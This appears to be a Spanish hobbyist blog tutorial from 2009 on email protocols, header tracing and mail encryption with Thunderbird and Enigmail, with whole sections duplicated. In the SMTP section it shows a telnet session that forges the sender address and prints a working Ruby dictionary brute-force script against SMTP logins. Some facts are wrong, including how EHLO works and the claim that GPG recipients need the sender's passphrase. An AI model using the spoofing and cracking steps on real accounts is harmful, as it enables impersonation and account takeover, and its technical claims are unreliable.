Documentación explícita referente a redes, sistemas y seguridad informática.
Categorías
Administración y Seguridad Programación
Afiliados
- Autor: Sh4v
- |
- Fecha: 2009-10-08
- |
- Categoría: Redes
Bien, pues aquí comienza esta guía que se irá extendiendo poco a poco. En ella hablaremos sobre el correo electrónico, un medio de comunicación que está presente en la internet y sin el cual no podríamos comunicarnos (bueno, podríamos gracias al VoIP, servidores de mensajería instantánea, IRC...), pero he de decir que sin duda alguna el correo electrónico fué pionero en las comunicaciones de la internet. Espero que esta guía sea del agrado de todos. Veamos los puntos que vamos a tratar:
1.- Protocolos.
2.- Clientes.
Las siglas SMTP, corresponden a Simple Mail Transfer Protocol, o protocolo simple de transferencia de correo. Este protocolo es el encargado enviar los mensajes. Trabaja en la capa de aplicación de la pila TCP/IP y por defecto utiliza el puerto 25. Fué diseñado en 1982 para ARPANET, predecesora de internet. Podemos encontrar información en los Request For Comments RFC 821 y RFC 822.
El protocolo SMTP, se basa en un modelo de cliente-servidor. Para que se produzca la comunicación se debe especificar primero el servidor y luego el destinatario. Esto lo hacemos así: destinatario@servidor.com. Supongamos que tenemos una cuenta gmail llamada "nabucodonosor@gmail.com". Al enviar el mensaje desde nuestro cliente de correo, primero haría una consulta a los servidores DNS para saber cual es el servidor encargado del correo en un determinado dominio y para consultar también la IP. Esto lo podemos hacer también nosotros. En vuestro Linux, Mac OSX o Windows, escribid:
Accedemos al programa nslookup, que sirve para consultar en los Servidores de Nombre de Dominio (DNS). Ahora le pasamos el comando set querytype=mx y a continuación escribimos el nombre de dominio "gmail.com". Veamos lo que ocurre:
Al parecer utiliza 5 servidores SMTP que son los siguientes:
También podemos utilizar otro domando bastante más sencillo llamado Dig. Veamos como sería:
Podemos ver que la información recibida es la misma. Esto mismo que acabamos de hacer es lo que haría nuestro cliente de corre para:
1.- Determinar con qué servidor se va a comunicar.
2.- Determinar la IP del servidor con el que tiene que establecer dicha comunicación.
Elementos de un mensaje de correo:
Antiguamente, existían servidores SMTP open-relay, o abiertos. A continuación veremos como funciona el protocolo SMTP pero antes de comenzar, diré que cuando te conectas al servidor, lo primero que se hace es saludar (los modales por delante caballeros) con los comandos HELO (no requiere autenticación) y EHLO (si requiere autenticación). Como iba diciendo, antes existían multitud de servidores SMTP open-relay en los cuales podíamos saludar mediante el comando HELO y enviar mensajes a quien nos diera la gana sin necesidad de identificarnos. Esto era aprovechado por los Spammers (otra gran plaga que hay que erradicar) y sin duda comprometían en gran medida al servidor de correo SMTP ya que podía ser incluido en las Listas Negras de otros servidores de correo. Para solucionar esto, se estableció un segundo comando, EHLO, que requiriese identificación y autenticación. De esta forma el destinatario del correo quedaba localizado. Veamos a continuación como mandar un mensaje desde telnet (se puede utilizar netcat si se prefiere). Lo primero que vamos a hacer, es crearnos una cuenta en un servidor SMTP si no tenemos ninguna creada. Para ello vamos a www.gawab.com. Yo utilizo este servidor ya que me funciona bastante bien. Si alguien conoce otro que lo postee (cuantos más se conozcan mejor).
Bien, ahora es cuando abro el Thunderbird y veo que he recibido un mensaje en mi bandeja de entrada O.o!

Se podría hacer un brute-force a esta autenticación. Para ello necesitamos un Grinder como Hydra de THC usando la opción de línea de comandos smtp-auth o con esta herramienta que me codeé en Ruby un día que me aburría:
#SMTP-grinder
#By Sh4v {N-D labs}
require 'net/smtp'
puts "Escriba el dominio:"
dom=gets.chomp
puts "Escriba el puerto (por defecto 25):"
port=gets.chomp.to_i
puts "Escriba el nombre de usuario:"
us=gets.chomp
puts "Escriba la ruta del diccionario:"
rout=gets.chomp
smtp=nil
rei=0
rep=String.new
con=String.new
while smtp==nil && rei!=rep
begin
smtp=Net::SMTP.start(dom, port, 'saluditounn', us, con, :login)
rescue
f=File.open(rout)
dic=f.readlines
rep=dic.length-1
con=dic[rei]
rei+=1
end
end
puts "La password es #{dic[rei]}"
Ahora es cuando yo me mosqueo y digo... mmm esta dirección no me suena! vamos a ver el código fuente del mensaje. Dependiendo del cliente de correo electrónico será de una manera o de otra:
Una vez tenemos la cabecera del mensaje, podemos ir a esta dirección: http://www.ip-adress.com/trace_email/ para tracearla, copiando la cabecera en el cuadro de texto. Veamos la cabecera del mensaje:
POP, o Post Office Protocol. Este protocolo trabaja en la capa de aplicación del modelo TCP/IP y trabaja en el puerto 110, aunque puede trabajar en el 995 si la comunicación es segura. Tras identificarte con el nombre de usuario y la contraseña, lo que hace POP es descargar los mensajes de la bandeja de correo electrónico en el disco duro del cliente. El número que va después de POP (POP2, POP3), es la versión de dicho protocolo. Actualmente se utiliza la versión 3, que es mucho más segura que la 2. Para más información --> http://es.wikipedia.org/wiki/APOP
Internet Message Access Protocol. A diferencia de POP, IMAP no descarga los mensajes de la bandeja de correo sobre el disco duro, sino que siguen quedando almacenados en el servidor y eres tú el que desde una interfaz gráfica, los vás ordenando a tu parecer. La ventaja de este protocolo es el acceso a su correo desde cualqueir ordenador equiàdo con un cliente de correo capaz de entender IMAP. Por el contrario, POP sólo permite leer el correo más reciente y no puede organizarlo en el servidor. IMAP, tiene una ventaja adicional, ya que un error en el sistema de archivos de su ordenador no implica una perdida del mismo. Sin embargo, IMAP tiene un inconveniente, y es que al quedar los correos en el servidor, cualquier puede entrar a curiosearlos :S. Para evitar esto, se puede proceder a cifrar los mensajes (más adelante veremos cómo hacerlo). Más información --> http://es.wikipedia.org/wiki/IMAP.
No se trata de un protocolo pero merece una mención especial. Se denomina Webmail a la interfaz Web que permite leer el correo de una determinada cuenta, con independencia de si el acceso a ella se lleva a cabo mediante POP o IMAP. Las ventajas son muchas, aunque también tiene desventajas. La más importante dependerá de la velocidad de acceso a Internet para realizar las operaciones relacionadas con el correo. Más información --> http://es.wikipedia.org/wiki/Webmail
Bueno, pues llega la segunda parte de la guía. En esta parte aprenderemos a instalar un cliente de correo (una práctica que no mucha gente utiliza debido a los servicios del webmail) y aprenderemos a cifrar los mensajes desde el propio cliente, para que si nos los interceptan con un sniffer o algún desaprensivo le da por leerlos del servidor IMAP, sean ilegibles y únicamente puedan ser leidos por el verdadero destinatario. Para ello, comenzaremos instalando Thunderbird.

¿Por qué Thunderbird? pues porque es un cliente poco utilizado y esto nos da ventaja. ¿Nos da ventaja, por qué? Pues porque todos los clientes de correo tienen bugs de seguridad pero sin embargo, siendo aproximadamente un 90% de usuarios del Outlock con respecto al 10% restante que se divide entre los demás clientes de correo, la mayoría de Exploits se utilizan para este 90% que utiliza el Outlock. Bueno, lo primero que haremos será descargarlo e instalarlo. Este es bien sencillo.
Vamos a esta página http://www.mozilla-europe.org/es/products/thunderbird/ y lo descargamos. Abrimos a continuación la shell y escribimos:
Ahora cogemos la carpeta y la movemos a otro directorio. El ejecutable de Thunderbird será el que iniciará al cliente.
En sistemas basados en Debian, podemos instalarlo con:
Bueno, ya tenemos instalado el cliente. Ahora sólo falta configurar la cuenta. Aquí depende del servidor de correo que utilices. Creo recordar que para hotmail había que descargarse un módulo que hacía de puente.
http://www.mozilla-europe.org/es/products/thunderbird/
Bajamos el ejecutable e instalamos. No creo que hagan falta muchas más explicaciones.

Bueno, para cifrar nuestro correo vamos a utilizar Enigmail, un addon para Thunderbird. Aunque el cifrado del contenido de los mensajes se puede hacer con programas externos al propio cliente, resulta más simple utilizar addons. Imagino que habréis oido hablar de PGP (Pretty Good Privacy), un sistema cifrado para el contenido de los mensajes Más información aquí. Pues bien, Enigmail utiliza uno similar llamado GPG (GNU Privacy Guard) que viene a ser similar al PGP con la diferencia de que se distribuye bajo licencia libre GPL. Más información sobre GPG AQUÍ. Vamos a proceder ya a descargar e instalar Enigmail. La versión que instaléis dependerá sin lugar a dudas de la versión de vuestro Thunderbird. Vamos a la siguiente página http://enigmail.mozdev.org/download/index.php y lo descargamos. Una vez descargado, vamos al menú de nuestro cliente de correo Tools--> Add-ons. Se nos abrirá una ventanita. Pues bien, vamos a Extensions y le damos al botón Install. Entonces se nos abrirá el gestor de archivos para seleccionar el addon que queremos instalar, por ello, vamos al directorio en el que se encuentra nuestro addon y lo seleccionamos. Habrá que reiniciar Thunderbird para poder usarlo.
Ya tenemos todo instalado, ahora sólo hay que configurarlo. Vamos entonces al menú OpenPGP-->Herramientas. En la ventanita marcaremos la opción "Mostrar configuración para expertos". Cerramos la ventana y volvemos al menú OpenPGP-->Administración de claves. En el menú, vamos a Generar--> Nuevo par de claves. En el campo donde pone "Frase clave" escribimos nuestra contraseña, que servirá para cifrar el mensaje. Ahora es cuando pulsamos el botón "Generar clave". Tardará un rato en generarla, después nos pedirá si queremos crear un certificado de revocación para nuestra clave. Esto servirá por si acaso en un futuro nuestra clave se ve comprometida o se pierde. Ahora para finalizar vamos al menú Edit-->Acount-Settings y se nos abrirá otra ventana. En la parte izquierda veremos un campo con distintas opciones. Seleccionamos Seguridad OpenPGP y dentro del menú de opciones de Seguridad OpenPGP marcamos:
Pulsamos sobre el botón Aceptar y salimos.
Bien, ha llegado el momento. Pulsamos el botón Write para escribir un nuevo mensaje. Se nos abrirá una interfaz desde la cual configuraremos los parámetros del mensaje así como su contenido, etc... Vamos al botón "OpenPGP" y lo desplegamos, marcando la opción "Cifrar mensaje". Esto lo podemos hacer también con la combinación de teclas: Ctrl + Shift + P o pulsando en la esquina inferior derecha el botón de la llave. El mensaje ya estará cifrado. Ahora sólo resta enviarlo. Al hacerlo aparecerá una nueva pantalla en la que seleccionaremos nuestra clave y pulsaremos "Ok". Finalmente aparecerán dos ventanas más, en la primera se pedirá que se escriba de nuevo la contraseña de la clave y en la segunda que se escriba la contraseña de la cuenta. Aquel que lo vaya a recibir, tendrá que saber la contraseña de la clave, ya que de no ser así no podrá leerlo.
Creo que ha quedado clara la manera de protegerse en el correo electrónico, así como la de evitar que terceras personas malintencionadas puedan leer mails interceptados. En este mini-tutorial hemos aprendido sobre protocolos, a mandar un mail falseando el remitente, a desmontar la cabecera del correo y tracearla, a instalar Thunderbird y a cifrar mensajes de correo gracias a GPG y Enigmail.
_________________________________________________________________________________
Todavía no hay comentarios. ¡Anímate y se el primero!
1.- Protocolos.
- SMTP.
- POP.
- IMAP.
- WEBmail.
2.- Clientes.
- Instalando un cliente de correo.
- Cifrando el mensaje.
1.- Protocolos
SMTP:
Introducción:
Las siglas SMTP, corresponden a Simple Mail Transfer Protocol, o protocolo simple de transferencia de correo. Este protocolo es el encargado enviar los mensajes. Trabaja en la capa de aplicación de la pila TCP/IP y por defecto utiliza el puerto 25. Fué diseñado en 1982 para ARPANET, predecesora de internet. Podemos encontrar información en los Request For Comments RFC 821 y RFC 822.
SMTP y los DNS:
El protocolo SMTP, se basa en un modelo de cliente-servidor. Para que se produzca la comunicación se debe especificar primero el servidor y luego el destinatario. Esto lo hacemos así: destinatario@servidor.com. Supongamos que tenemos una cuenta gmail llamada "nabucodonosor@gmail.com". Al enviar el mensaje desde nuestro cliente de correo, primero haría una consulta a los servidores DNS para saber cual es el servidor encargado del correo en un determinado dominio y para consultar también la IP. Esto lo podemos hacer también nosotros. En vuestro Linux, Mac OSX o Windows, escribid:
nslookup
Accedemos al programa nslookup, que sirve para consultar en los Servidores de Nombre de Dominio (DNS). Ahora le pasamos el comando set querytype=mx y a continuación escribimos el nombre de dominio "gmail.com". Veamos lo que ocurre:
~$ nslookup
> set querytype=mx
> gmail.com
Server: 192.168.2.1
Address: 192.168.2.1#53
Non-authoritative answer:
gmail.com mail exchanger = 50 gsmtp183.google.com.
gmail.com mail exchanger = 5 gmail-smtp-in.l.google.com.
gmail.com mail exchanger = 10 alt1.gmail-smtp-in.l.google.com.
gmail.com mail exchanger = 10 alt2.gmail-smtp-in.l.google.com.
gmail.com mail exchanger = 50 gsmtp147.google.com.
Authoritative answers can be found from:
gmail-smtp-in.l.google.com internet address = 74.125.79.27
gmail-smtp-in.l.google.com internet address = 74.125.79.114
alt1.gmail-smtp-in.l.google.com internet address = 74.125.93.114
alt1.gmail-smtp-in.l.google.com internet address = 74.125.93.27
alt2.gmail-smtp-in.l.google.com internet address = 64.233.171.27
gsmtp147.google.com internet address = 209.85.147.27
gsmtp183.google.com internet address = 64.233.183.27
> set querytype=mx
> gmail.com
Server: 192.168.2.1
Address: 192.168.2.1#53
Non-authoritative answer:
gmail.com mail exchanger = 50 gsmtp183.google.com.
gmail.com mail exchanger = 5 gmail-smtp-in.l.google.com.
gmail.com mail exchanger = 10 alt1.gmail-smtp-in.l.google.com.
gmail.com mail exchanger = 10 alt2.gmail-smtp-in.l.google.com.
gmail.com mail exchanger = 50 gsmtp147.google.com.
Authoritative answers can be found from:
gmail-smtp-in.l.google.com internet address = 74.125.79.27
gmail-smtp-in.l.google.com internet address = 74.125.79.114
alt1.gmail-smtp-in.l.google.com internet address = 74.125.93.114
alt1.gmail-smtp-in.l.google.com internet address = 74.125.93.27
alt2.gmail-smtp-in.l.google.com internet address = 64.233.171.27
gsmtp147.google.com internet address = 209.85.147.27
gsmtp183.google.com internet address = 64.233.183.27
Al parecer utiliza 5 servidores SMTP que son los siguientes:
50 gsmtp183.google.com.
5 gmail-smtp-in.l.google.com.
10 alt1.gmail-smtp-in.l.google.com.
10 alt2.gmail-smtp-in.l.google.com.
50 gsmtp147.google.com.
5 gmail-smtp-in.l.google.com.
10 alt1.gmail-smtp-in.l.google.com.
10 alt2.gmail-smtp-in.l.google.com.
50 gsmtp147.google.com.
También podemos utilizar otro domando bastante más sencillo llamado Dig. Veamos como sería:
~$ dig mx gmail.com
; <<>> DiG 9.5.0-P2 <<>> mx gmail.com
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23902
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 7
;; QUESTION SECTION:
;gmail.com. IN MX
;; ANSWER SECTION:
gmail.com. 1562 IN MX 10 alt2.gmail-smtp-in.l.google.com.
gmail.com. 1562 IN MX 50 gsmtp147.google.com.
gmail.com. 1562 IN MX 50 gsmtp183.google.com.
gmail.com. 1562 IN MX 5 gmail-smtp-in.l.google.com.
gmail.com. 1562 IN MX 10 alt1.gmail-smtp-in.l.google.com.
;; ADDITIONAL SECTION:
gsmtp147.google.com. 5949 IN A 209.85.147.27
gsmtp183.google.com. 5768 IN A 64.233.183.27
gmail-smtp-in.l.google.com. 126 IN A 74.125.79.27
gmail-smtp-in.l.google.com. 126 IN A 74.125.79.114
alt1.gmail-smtp-in.l.google.com. 205 IN A 74.125.93.114
alt1.gmail-smtp-in.l.google.com. 205 IN A 74.125.93.27
alt2.gmail-smtp-in.l.google.com. 147 IN A 64.233.171.27
;; Query time: 160 msec
;; SERVER: 192.168.2.1#53(192.168.2.1)
;; WHEN: Mon Nov 24 10:41:46 2008
;; MSG SIZE rcvd: 270
; <<>> DiG 9.5.0-P2 <<>> mx gmail.com
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23902
;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 7
;; QUESTION SECTION:
;gmail.com. IN MX
;; ANSWER SECTION:
gmail.com. 1562 IN MX 10 alt2.gmail-smtp-in.l.google.com.
gmail.com. 1562 IN MX 50 gsmtp147.google.com.
gmail.com. 1562 IN MX 50 gsmtp183.google.com.
gmail.com. 1562 IN MX 5 gmail-smtp-in.l.google.com.
gmail.com. 1562 IN MX 10 alt1.gmail-smtp-in.l.google.com.
;; ADDITIONAL SECTION:
gsmtp147.google.com. 5949 IN A 209.85.147.27
gsmtp183.google.com. 5768 IN A 64.233.183.27
gmail-smtp-in.l.google.com. 126 IN A 74.125.79.27
gmail-smtp-in.l.google.com. 126 IN A 74.125.79.114
alt1.gmail-smtp-in.l.google.com. 205 IN A 74.125.93.114
alt1.gmail-smtp-in.l.google.com. 205 IN A 74.125.93.27
alt2.gmail-smtp-in.l.google.com. 147 IN A 64.233.171.27
;; Query time: 160 msec
;; SERVER: 192.168.2.1#53(192.168.2.1)
;; WHEN: Mon Nov 24 10:41:46 2008
;; MSG SIZE rcvd: 270
Podemos ver que la información recibida es la misma. Esto mismo que acabamos de hacer es lo que haría nuestro cliente de corre para:
1.- Determinar con qué servidor se va a comunicar.
2.- Determinar la IP del servidor con el que tiene que establecer dicha comunicación.
Elementos de un mensaje de correo:
- Destinatario: Es la persona a la que va destinada el mensaje de correo. Una vez establecida la comunicación con el servidor, se buscará en el mismo al destinatario del correo, que será el nombre situado a la izquierda de la arroba, es decir, en nuestro caso: nabucodonosor.
- Remitente: Es la persona que envía el mensaje. Aquí es donde hay que tener un cuidado especial, ya que existen imbéciles malintencionados que tratan de fakearla. El otro día recibí en mi bandeja de entrada un correo que se hacía pasar por mi novia. Desmonté la cabecera, hallé la IP y resultó ser un compañero mío de la facultad (ya os imagináis lo que vino después). Más adelante veremos las dos cosas: como fakear el remitente y como desmontar la cabecera.
- Asunto: Viene a ser un breve resúmen del contenido del mensaje. Es importante llenar el asunto del mensaje.
- Cuerpo del mensaje: Aquí vendría el contenido en sí del mensaje, es decir, el texto plano que se quiere enviar. Hay que tener mucho cuidado ya que las reinonas del under que se dedican enviar mails haciendoser pasar por un banco, pueden dejar sin pasta a muchas familias. Me gustaría que si algún carder lee esto, reflexione y piense si le gustaría que se lo hicieran a él o a su familia. Es fácil --> No hagas a los demás lo que no quieres que te hagan a tí. La educación ante todo ;-).
- Archivos adjuntos: Aquí está junto con el Phishing, otro de los grandes riesgos. La expansión del malware gracias al correo electrónico es una auténtica plaga. Los coders que se dedican a programar virus, ven en el correo electrónico una gran posibilidad para que el virus se expanda e infecte al mayor número posible de víctimas. Si eres una de estas personas, te recomiendo ir a un psiquiatra.
Enviando un mensaje y desmontando su cabecera:
Antiguamente, existían servidores SMTP open-relay, o abiertos. A continuación veremos como funciona el protocolo SMTP pero antes de comenzar, diré que cuando te conectas al servidor, lo primero que se hace es saludar (los modales por delante caballeros) con los comandos HELO (no requiere autenticación) y EHLO (si requiere autenticación). Como iba diciendo, antes existían multitud de servidores SMTP open-relay en los cuales podíamos saludar mediante el comando HELO y enviar mensajes a quien nos diera la gana sin necesidad de identificarnos. Esto era aprovechado por los Spammers (otra gran plaga que hay que erradicar) y sin duda comprometían en gran medida al servidor de correo SMTP ya que podía ser incluido en las Listas Negras de otros servidores de correo. Para solucionar esto, se estableció un segundo comando, EHLO, que requiriese identificación y autenticación. De esta forma el destinatario del correo quedaba localizado. Veamos a continuación como mandar un mensaje desde telnet (se puede utilizar netcat si se prefiere). Lo primero que vamos a hacer, es crearnos una cuenta en un servidor SMTP si no tenemos ninguna creada. Para ello vamos a www.gawab.com. Yo utilizo este servidor ya que me funciona bastante bien. Si alguien conoce otro que lo postee (cuantos más se conozcan mejor).
~$ telnet
telnet> o smtp.gawab.com 25 #Conectamos con el servidor SMTP en el puerto 25. En netcat sería: nc -vv smtp.gawab.com 25
Trying 66.220.20.50...
Connected to smtp.gawab.com.
Escape character is '^]'.
220 info33.gawab.com ESMTP
EHLO World#Saludamos, somos chicos educados.
250-info33.gawab.com
250-AUTH LOGIN PLAIN
250-AUTH=LOGIN PLAIN
250-PIPELINING
250-8BITMIME
250 SIZE 52428800
AUTH LOGIN #Nos identificamos y autenticamos.
334 VXNlcm5hbWU6 #Nos pide la cuenta de correo.
dHVwdXRhbWFkcmVAYnVlbmludGVudG8uY29t #Escribimos la cuenta de correo codificada en BASE64.
334 UGFzc3dvcmQ6 #Nos pide la contraseña.
c2lndWVzb/FhbmRv #Escribimos la contraseña codificada en BASE64.
235 ok, go ahead (#2.0.0)
MAIL FROM: #Remitente, lo dejamos en blanco para evitar bucles en caso de error.
250 ok
RCPT TO: nabucodonosor@gmail.com # Destinatario.
250 ok
DATA # Indicamos que queremos ir al contenido del mensaje.
354 go ahead
Subject: Probando SMTP desde Telnet
From: direccion@falsa.com
To: nabucodonosor@gmail.com
Probando un envio de mensaje desde un servidor SMTP fakeando al remitente.
. # El punto indica el final del mensaje.
250 ok 1227521847 qp 8612
quit # Salimos.
221 info33.gawab.com
Connection closed by foreign host.
telnet> o smtp.gawab.com 25 #Conectamos con el servidor SMTP en el puerto 25. En netcat sería: nc -vv smtp.gawab.com 25
Trying 66.220.20.50...
Connected to smtp.gawab.com.
Escape character is '^]'.
220 info33.gawab.com ESMTP
EHLO World#Saludamos, somos chicos educados.
250-info33.gawab.com
250-AUTH LOGIN PLAIN
250-AUTH=LOGIN PLAIN
250-PIPELINING
250-8BITMIME
250 SIZE 52428800
AUTH LOGIN #Nos identificamos y autenticamos.
334 VXNlcm5hbWU6 #Nos pide la cuenta de correo.
dHVwdXRhbWFkcmVAYnVlbmludGVudG8uY29t #Escribimos la cuenta de correo codificada en BASE64.
334 UGFzc3dvcmQ6 #Nos pide la contraseña.
c2lndWVzb/FhbmRv #Escribimos la contraseña codificada en BASE64.
235 ok, go ahead (#2.0.0)
MAIL FROM: #Remitente, lo dejamos en blanco para evitar bucles en caso de error.
250 ok
RCPT TO: nabucodonosor@gmail.com # Destinatario.
250 ok
DATA # Indicamos que queremos ir al contenido del mensaje.
354 go ahead
Subject: Probando SMTP desde Telnet
From: direccion@falsa.com
To: nabucodonosor@gmail.com
Probando un envio de mensaje desde un servidor SMTP fakeando al remitente.
. # El punto indica el final del mensaje.
250 ok 1227521847 qp 8612
quit # Salimos.
221 info33.gawab.com
Connection closed by foreign host.
Bien, ahora es cuando abro el Thunderbird y veo que he recibido un mensaje en mi bandeja de entrada O.o!

- LOGIN: Autenticación en texto plano utilizando BASE64. Es fácil codificar y decodificar en BASE64 ya que existen numerosos codificadores en la red. Uno lo tenéis aquí (no es spam): www.elhacker.net/sneak.php
- PLAIN: Variante de autenticación de texto plano utilizando codificación BASE64.
- CRAM-MD5: Autenticación secreta compartida MD5. Para más información: RFC 2195.
Se podría hacer un brute-force a esta autenticación. Para ello necesitamos un Grinder como Hydra de THC usando la opción de línea de comandos smtp-auth o con esta herramienta que me codeé en Ruby un día que me aburría:
#SMTP-grinder
#By Sh4v {N-D labs}
require 'net/smtp'
puts "Escriba el dominio:"
dom=gets.chomp
puts "Escriba el puerto (por defecto 25):"
port=gets.chomp.to_i
puts "Escriba el nombre de usuario:"
us=gets.chomp
puts "Escriba la ruta del diccionario:"
rout=gets.chomp
smtp=nil
rei=0
rep=String.new
con=String.new
while smtp==nil && rei!=rep
begin
smtp=Net::SMTP.start(dom, port, 'saluditounn', us, con, :login)
rescue
f=File.open(rout)
dic=f.readlines
rep=dic.length-1
con=dic[rei]
rei+=1
end
end
puts "La password es #{dic[rei]}"
Ahora es cuando yo me mosqueo y digo... mmm esta dirección no me suena! vamos a ver el código fuente del mensaje. Dependiendo del cliente de correo electrónico será de una manera o de otra:
- En Thunderbird es pulsando la combinación de teclas Ctrl + U una vez abierto el mensaje.
- En Hotmail es haciendo click derecho sobre el mensaje y dandole a la opción "Ver código fuente".
- En Outlook 98, Outlook 2000, Outlook 2003 es dandole doble click al mensaje para abrirlo en pantalla completa. Vamos a View-->Options.
- En Yahoo es haciendo click derecho sobre el mensaje y pulsando el botón "Show Full Header".
- En gmail es haciendo click en el menu desplegable de la derecha (Pone "Responder") y seleccionamos Mostrar original.
Una vez tenemos la cabecera del mensaje, podemos ir a esta dirección: http://www.ip-adress.com/trace_email/ para tracearla, copiando la cabecera en el cuadro de texto. Veamos la cabecera del mensaje:
From - Mon Nov 24 11:25:55 2008
X-Account-Key: account2
X-UIDL: GmailId11dce00f4d383d41
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Delivered-To: nabucodonosor@gmail.com
Received: by 10.86.54.11 with SMTP id c11cs174029fga;
Mon, 24 Nov 2008 02:17:29 -0800 (PST)
Received: by 10.151.43.19 with SMTP id v19mr6780589ybj.214.1227521848513;
Mon, 24 Nov 2008 02:17:28 -0800 (PST)
Return-Path: <>
Received: from info33.gawab.com (mailhost19.gawab.com [66.220.20.19])
by mx.google.com with SMTP id 6si11178656gxk.75.2008.11.24.02.17.27;
Mon, 24 Nov 2008 02:17:28 -0800 (PST)
Received-SPF: pass (google.com: domain of info33.gawab.com designates 66.220.20.19 as permitted sender) client-ip=66.220.20.19;
Authentication-Results: mx.google.com; spf=pass (google.com: domain of info33.gawab.com designates 66.220.20.19 as permitted sender) smtp.mail=
Date: Mon, 24 Nov 2008 02:17:28 -0800 (PST)
Message-Id: <492a7f38.060bca0a.1002.ffffd3c0SMTPIN_ADDED@mx.google.com>
Received: (qmail 8612 invoked by uid 1004); 24 Nov 2008 10:17:27 -0000
Received: from unknown (HELO ) (direccion@gawab.com@xxx.xxx.xxx.xxx) --> Aquí tenemos al verdadero remitente con su IP (He ocultado mi IP lógicamente).
by gawab.com with SMTP; 24 Nov 2008 10:17:27 -0000
X-Trusted: Whitelisted
Subject: Probando SMTP desde Telnet
From: direccion@falsa.com
To: nabucodonosor@gmail.com
Probando un envio de mensaje desde un servidor SMTP fakeando al remitente.
X-Account-Key: account2
X-UIDL: GmailId11dce00f4d383d41
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Delivered-To: nabucodonosor@gmail.com
Received: by 10.86.54.11 with SMTP id c11cs174029fga;
Mon, 24 Nov 2008 02:17:29 -0800 (PST)
Received: by 10.151.43.19 with SMTP id v19mr6780589ybj.214.1227521848513;
Mon, 24 Nov 2008 02:17:28 -0800 (PST)
Return-Path: <>
Received: from info33.gawab.com (mailhost19.gawab.com [66.220.20.19])
by mx.google.com with SMTP id 6si11178656gxk.75.2008.11.24.02.17.27;
Mon, 24 Nov 2008 02:17:28 -0800 (PST)
Received-SPF: pass (google.com: domain of info33.gawab.com designates 66.220.20.19 as permitted sender) client-ip=66.220.20.19;
Authentication-Results: mx.google.com; spf=pass (google.com: domain of info33.gawab.com designates 66.220.20.19 as permitted sender) smtp.mail=
Date: Mon, 24 Nov 2008 02:17:28 -0800 (PST)
Message-Id: <492a7f38.060bca0a.1002.ffffd3c0SMTPIN_ADDED@mx.google.com>
Received: (qmail 8612 invoked by uid 1004); 24 Nov 2008 10:17:27 -0000
Received: from unknown (HELO ) (direccion@gawab.com@xxx.xxx.xxx.xxx) --> Aquí tenemos al verdadero remitente con su IP (He ocultado mi IP lógicamente).
by gawab.com with SMTP; 24 Nov 2008 10:17:27 -0000
X-Trusted: Whitelisted
Subject: Probando SMTP desde Telnet
From: direccion@falsa.com
To: nabucodonosor@gmail.com
Probando un envio de mensaje desde un servidor SMTP fakeando al remitente.
POP
POP, o Post Office Protocol. Este protocolo trabaja en la capa de aplicación del modelo TCP/IP y trabaja en el puerto 110, aunque puede trabajar en el 995 si la comunicación es segura. Tras identificarte con el nombre de usuario y la contraseña, lo que hace POP es descargar los mensajes de la bandeja de correo electrónico en el disco duro del cliente. El número que va después de POP (POP2, POP3), es la versión de dicho protocolo. Actualmente se utiliza la versión 3, que es mucho más segura que la 2. Para más información --> http://es.wikipedia.org/wiki/APOP
IMAP:
Internet Message Access Protocol. A diferencia de POP, IMAP no descarga los mensajes de la bandeja de correo sobre el disco duro, sino que siguen quedando almacenados en el servidor y eres tú el que desde una interfaz gráfica, los vás ordenando a tu parecer. La ventaja de este protocolo es el acceso a su correo desde cualqueir ordenador equiàdo con un cliente de correo capaz de entender IMAP. Por el contrario, POP sólo permite leer el correo más reciente y no puede organizarlo en el servidor. IMAP, tiene una ventaja adicional, ya que un error en el sistema de archivos de su ordenador no implica una perdida del mismo. Sin embargo, IMAP tiene un inconveniente, y es que al quedar los correos en el servidor, cualquier puede entrar a curiosearlos :S. Para evitar esto, se puede proceder a cifrar los mensajes (más adelante veremos cómo hacerlo). Más información --> http://es.wikipedia.org/wiki/IMAP.
WEBMAIL:
No se trata de un protocolo pero merece una mención especial. Se denomina Webmail a la interfaz Web que permite leer el correo de una determinada cuenta, con independencia de si el acceso a ella se lleva a cabo mediante POP o IMAP. Las ventajas son muchas, aunque también tiene desventajas. La más importante dependerá de la velocidad de acceso a Internet para realizar las operaciones relacionadas con el correo. Más información --> http://es.wikipedia.org/wiki/Webmail
2.- Clientes:
Bueno, pues llega la segunda parte de la guía. En esta parte aprenderemos a instalar un cliente de correo (una práctica que no mucha gente utiliza debido a los servicios del webmail) y aprenderemos a cifrar los mensajes desde el propio cliente, para que si nos los interceptan con un sniffer o algún desaprensivo le da por leerlos del servidor IMAP, sean ilegibles y únicamente puedan ser leidos por el verdadero destinatario. Para ello, comenzaremos instalando Thunderbird.
Instalando Thunderbird:

¿Por qué Thunderbird? pues porque es un cliente poco utilizado y esto nos da ventaja. ¿Nos da ventaja, por qué? Pues porque todos los clientes de correo tienen bugs de seguridad pero sin embargo, siendo aproximadamente un 90% de usuarios del Outlock con respecto al 10% restante que se divide entre los demás clientes de correo, la mayoría de Exploits se utilizan para este 90% que utiliza el Outlock. Bueno, lo primero que haremos será descargarlo e instalarlo. Este es bien sencillo.
En Linux:
Vamos a esta página http://www.mozilla-europe.org/es/products/thunderbird/ y lo descargamos. Abrimos a continuación la shell y escribimos:
tar zxvf thunderbird-2.0.0.18.tar.gz
Ahora cogemos la carpeta y la movemos a otro directorio. El ejecutable de Thunderbird será el que iniciará al cliente.
En sistemas basados en Debian, podemos instalarlo con:
sudo apt-get install thunderbird
Bueno, ya tenemos instalado el cliente. Ahora sólo falta configurar la cuenta. Aquí depende del servidor de correo que utilices. Creo recordar que para hotmail había que descargarse un módulo que hacía de puente.
En Windows:
http://www.mozilla-europe.org/es/products/thunderbird/
Bajamos el ejecutable e instalamos. No creo que hagan falta muchas más explicaciones.
Instalando Enigmail:

